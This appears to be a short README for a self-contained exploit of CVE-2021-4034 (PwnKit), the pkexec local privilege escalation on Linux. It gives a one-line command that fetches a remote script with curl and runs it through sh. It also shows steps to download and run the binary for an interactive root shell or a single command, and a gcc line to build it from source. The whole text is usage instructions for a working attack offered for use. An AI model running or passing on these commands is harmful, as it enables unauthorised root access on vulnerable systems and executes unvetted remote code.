
Self-contained exploit for CVE-2021-4034 (PwnKit) that escalates privileges to root on vulnerable Linux systems via pkexec, with support for interactive shell or single command execution.
Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation
Should work out of the box on vulnerable Linux distributions based on Ubuntu, Debian, Fedora, and CentOS.
sh -c "$(curl -fsSL https://raw.githubusercontent.com/b1gn0se/PwnKit_CVE-2021-4034/main/PwnKit.sh)"
curl -fsSL https://raw.githubusercontent.com/b1gn0se/PwnKit_CVE-2021-4034/main/PwnKit -o PwnKit
chmod +x ./PwnKit
./PwnKit # interactive shell
./PwnKit 'id' # single command
gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC